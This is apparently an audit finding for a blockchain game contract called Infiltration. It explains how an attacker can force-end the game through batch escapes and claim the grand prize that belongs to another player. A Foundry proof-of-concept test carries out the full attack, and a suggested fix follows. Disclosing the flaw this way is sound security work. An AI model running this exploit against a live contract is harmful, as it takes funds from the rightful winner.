Attacker can steal reward of actual winner by force ending the game
Currently following scenario is possible: There is an attacker owning some lower index agents and some higher index agents. There is a normal user owing one agent with an index between the attackers agents. If one of the attackers agents with an lower index gets wounded, he can escape all other agents and will instantly win the game, even if the other User has still one active agent.\\nThis is possible because because the winner is determined by the agent index, and escaping all agents at once wont kill the wounded agent because the game instantly ends.\\nFollowing check inside startNewRound prevents killing of wounded agents by starting a new round:\\n```\\nuint256 activeAgents = gameInfo.activeAgents;\\n        if (activeAgents == 1) {\\n            revert GameOver();\\n        }\\n```\\n\\nFollowing check inside of claimPrize pays price to first ID agent:\\n```\\nuint256 agentId = agents[1].agentId;\\n_assertAgentOwnership(agentId);\\n```\\n\\nSee following POC:\\nPOC\\nPut this into Infiltration.mint.t.sol and run `forge test --match-test forceWin -vvv`\\n```\\nfunction test_forceWin() public {\\n        address attacker = address(1337);\\n\\n        //prefund attacker and user1\\n        vm.deal(user1, PRICE * MAX_MINT_PER_ADDRESS);\\n        vm.deal(attacker, PRICE * MAX_MINT_PER_ADDRESS);\\n\\n        // MINT some agents\\n        vm.warp(_mintStart());\\n        // attacker wants to make sure he owns a bunch of agents with low IDs!!\\n        vm.prank(attacker);\\n        infiltration.mint{value: PRICE * 30}({quantity: 30});\\n        // For simplicity we mint only 1 agent to user 1 here, but it could be more, they could get wounded, etc.\\n        vm.prank(user1);\\n        infiltration.mint{value: PRICE *1}({quantity: 1});\\n        //Attacker also wants a bunch of agents with the highest IDs, as they are getting swapped with the killed agents (move forward)\\n        vm.prank(attacker);\\n        infiltration.mint{value: PRICE * 30}({quantity: 30});\\n    \\n        vm.warp(_mintEnd());\\n\\n        //start the game\\n        vm.prank(owner);\\n        infiltration.startGame();\\n\\n        vm.prank(VRF_COORDINATOR);\\n        uint256[] memory randomWords = new uint256[](1);\\n        randomWords[0] = 69_420;\\n        VRFConsumerBaseV2(address(infiltration)).rawFulfillRandomWords(_computeVrfRequestId(1), randomWords);\\n        // Now we are in round 2 we do have 1 wounded agent (but we can imagine any of our agent got wounded, doesn´t really matter)\\n        \\n        // we know with our HARDCODED RANDOMNESS THAT AGENT 3 gets wounded!!\\n\\n        // Whenever we get in a situation, that we own all active agents, but 1 and our agent has a lower index we can instant win the game!!\\n        // This is done by escaping all agents, at once, except the lowest index\\n        uint256[] memory escapeIds = new uint256[](59);\\n        escapeIds[0] = 1;\\n        escapeIds[1] = 2;\\n        uint256 i = 4; //Scipping our wounded AGENT 3\\n        for(; i < 31;) {\\n            escapeIds[i-2] = i;\\n            unchecked {++i;}\\n        }\\n        //skipping 31 as this owned by user1\\n        unchecked {++i;}\\n        for(; i < 62;) {\\n            escapeIds[i-3] = i;\\n            unchecked {++i;}\\n        }\\n        vm.prank(attacker);\\n        infiltration.escape(escapeIds);\\n\\n        (uint16 activeAgents, uint16 woundedAgents, , uint16 deadAgents, , , , , , , ) = infiltration.gameInfo();\\n        console.log("Active", activeAgents);\\n        assertEq(activeAgents, 1);\\n        // This will end the game instantly.\\n        //owner should not be able to start new round\\n        vm.roll(block.number + BLOCKS_PER_ROUND);\\n        vm.prank(owner);\\n        vm.expectRevert();\\n        infiltration.startNewRound();\\n\\n        //Okay so the game is over, makes sense!\\n        // Now user1 has the only active AGENT, so he should claim the grand prize!\\n        // BUT user1 cannot\\n        vm.expectRevert(IInfiltration.NotAgentOwner.selector);\\n        vm.prank(user1);\\n        infiltration.claimGrandPrize();\\n\\n        //instead the attacker can:\\n        vm.prank(attacker);\\n        infiltration.claimGrandPrize();\\n        \\n```\\n
Start a new Round before the real end of game to clear all wounded agents and reorder IDs.
Attacker can steal the grand price of the actual winner by force ending the game trough escapes.\\nThis also introduces problems if there are other players with wounded agents but lower < 50 TokenID, they can claim prices for wounded agents, which will break parts of the game logic.
```\\nuint256 activeAgents = gameInfo.activeAgents;\\n        if (activeAgents == 1) {\\n            revert GameOver();\\n        }\\n```\\n